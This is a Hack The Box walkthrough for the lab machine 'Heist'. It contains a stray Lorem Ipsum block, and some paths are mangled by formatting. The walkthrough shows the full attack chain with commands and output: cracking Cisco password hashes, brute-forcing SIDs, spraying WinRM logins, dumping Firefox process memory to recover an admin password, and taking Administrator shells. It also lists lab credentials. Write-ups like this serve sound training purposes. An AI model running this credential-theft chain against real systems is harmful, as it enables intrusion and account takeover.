Heist - Hack The Box

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hackthebox
Author

0xPThree

Published

September 26, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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NOTE: Working credentials found during enumeration rout3r / $uperP@ssword admin / Q4)sJu8qzA3?d hazard / stealth1agent Chase / Q4)sJu8qzA3?d Administrator / 4dD!5}x/re8]FBuZ

  1. nmap -Pn -p- -O 10.10.10.149 80/tcp open http 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open wsman 49669/tcp open unknown Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

  2. Enum port 80, login as Guest User and you’ll see user Hazard post an attached file containing 2 usernames and 3 password. enable secret 5 \(1\)pdQG$o8nrSzsGXeaduXrjlvKc91 username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

  3. Crack all (3) the hashes. Password 7 types can easily be cracked using: http://www.ifm.net.nz/cookbooks/passwordcracker.html Which gives us following two creds rout3r / $uperP@ssword (0242114B0E143F015F5D1E161713) admin / Q4)sJu8qz*A3?d (02375012182C1A1D751618034F36415408)

    Password 5 is a md5crypt and can be cracked using hashcat and rockyou.txt. To find the correct Hash Mode (-m 500) see https://hashcat.net/wiki/doku.php?id=example_hashes root@p3:/opt/htb/machines/heist# echo “\(1\)pdQG$o8nrSzsGXeaduXrjlvKc91” > cisco-hash.txt root@p3:/opt/htb/machines/heist# hashcat -a 0 -m 500 cisco-hash.txt /usr/share/wordlists/rockyou.txt -o cisco-cracked.txt –force root@p3:/opt/htb/machines/heist# cat cisco-cracked.txt \(1\)pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent

    Possible Usernames: root@p3:/opt/htb/machines/heist# cat heist-users.txt admin rout3r hazard

    Possible Passwords: root@p3:/opt/htb/machines/heist# cat heist-pws.txt $uperP@ssword Q4)sJu8qz*A3?d stealth1agent

  4. Enumerate / Brute Windows SID through MSRPC with lookupsid.py from Impacket, using found credentials. root@p3:/opt/impacket/examples# ./lookupsid.py hazard:stealth1agent@10.10.10.149 Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

    [*] Brute forcing SIDs at 10.10.10.149 [*] StringBinding ncacn_np:10.10.10.149[] [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 500: SUPPORTDESK(SidTypeUser) 501: SUPPORTDESK(SidTypeUser) 503: SUPPORTDESK(SidTypeUser) 504: SUPPORTDESK(SidTypeUser) 513: SUPPORTDESK(SidTypeGroup) 1008: SUPPORTDESK(SidTypeUser) 1009: SUPPORTDESK(SidTypeUser) 1012: SUPPORTDESK(SidTypeUser) 1013: SUPPORTDESK(SidTypeUser)

  5. Extend user-list with all new users, and run user/pass through msf auxiliary(scanner/winrm/winrm_login) root@p3:/opt/htb/machines/heist# cat heist-users.txt admin rout3r hazard Administrator Guest DefaultAccount WDAGUtilityAccount support Chase Jason

    msf5 auxiliary(scanner/winrm/winrm_login) > run [+] 10.10.10.149:5985 - Login Successful: WORKSTATION:Q4)sJu8qz*A3?d

  6. Download Winrm Shell or Evil-Winrm and login with user Chase https://github.com/Hackplayers/evil-winrm (More manageable user interface; easy upload and download of files) https://alionder.net/winrm-shell/ (Lightweight shell script, would not use for root)

    root@p3:/opt/shells# ruby winrm_shell.rb PS > whoami supportdesk PS > pwd

    Path
    C:

    PS > cd ../Desktop PS > type user.txt a12*****************************

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  1. Enumerate and find an odd running process. root@p3:/opt/evil-winrm# ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p ’Q4)sJu8qzA3?d’ -s ‘/opt/PowerSploit/Exfiltration/’ Evil-WinRM* PS C:> Get-Process | where {$_.ProcessName -notlike “svchost*“} | ft ProcessName, Id

    ProcessName Id
    ..
    explorer 56 20
    firefox 7 04
    firefox 12 96
    firefox 30 56
    firefox 35 04
    firefox 38 32
    fontdrvhost 8 00
    ..

  2. Firefox is an odd service to be running on a HTB box, dump the process memory and see if we can grab anything useful.

    Process dump via ProcDump.exe: (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) New-Item -Path “C:” -Type directory -Force cmd.exe /c “C:.exe” -ma 704 -accepteula “C:”

    Process dump via PowerSploit tool Out-Minidump: (https://github.com/PowerShellMafia/PowerSploit)

    Evil-WinRM PS C:> upload ../PowerSploit/Exfiltration/Out-Minidump.ps1 C: Evil-WinRM PS C:> Import-Module C:-Minidump.ps1 Evil-WinRM PS C:> Get-Process firefox | Out-Minidump Directory: C:

    Mode LastWriteTime Length Name
    -a—- 10/2/2 019 1:29 PM 524 489927 firefox_704.dmp
    -a—- 10/2/2 019 1:29 PM 273 600541 firefox_1296.dmp
    -a—- 10/2/2 019 1:29 PM 302 068992 firefox_3056.dmp
    -a—- 10/2/2 019 1:29 PM 286 191273 firefox_3504.dmp
    -a—- 10/2/2 019 1:29 PM 385 076763 firefox_3832.dmp

  3. Search the .dmp-file for credentials. Remotely on victim machine: Evil-WinRM PS C:> Select-String -Path firefox_1296.dmp -Pattern login_password localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login

    Locally on attacking machine: Evil-WinRM PS C:> download firefox_1296.dmp Info: Downloading firefox_1296.dmp to firefox_1296.dmp Info: Download successful! root@p3:/opt/evil-winrm# strings firefox_1296.dmp | grep login_password MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

  4. Enter the newfound password in your password list and enumerate wimrm using mfs module auxiliary/scanner/winrm/winrm_login msf5 auxiliary(scanner/winrm/winrm_login) > run [+] 10.10.10.149:5985 - Login Successful: WORKSTATION:4dD!5}x/re8]FBuZ [+] 10.10.10.149:5985 - Login Successful: WORKSTATION:Q4)sJu8qz*A3?d

  5. Login with new Administrator creds and get root.txt root@p3:/opt/evil-winrm# ruby evil-winrm.rb -i 10.10.10.149 -u Administrator -p ‘4dD!5}x/re8]FBuZ’

    Info: Starting Evil-WinRM shell v1.7 Info: Establishing connection to remote endpoint

    Evil-WinRM PS C:> whoami supportdesk Evil-WinRM PS C:> type ../Desktop/root.txt 50d****************************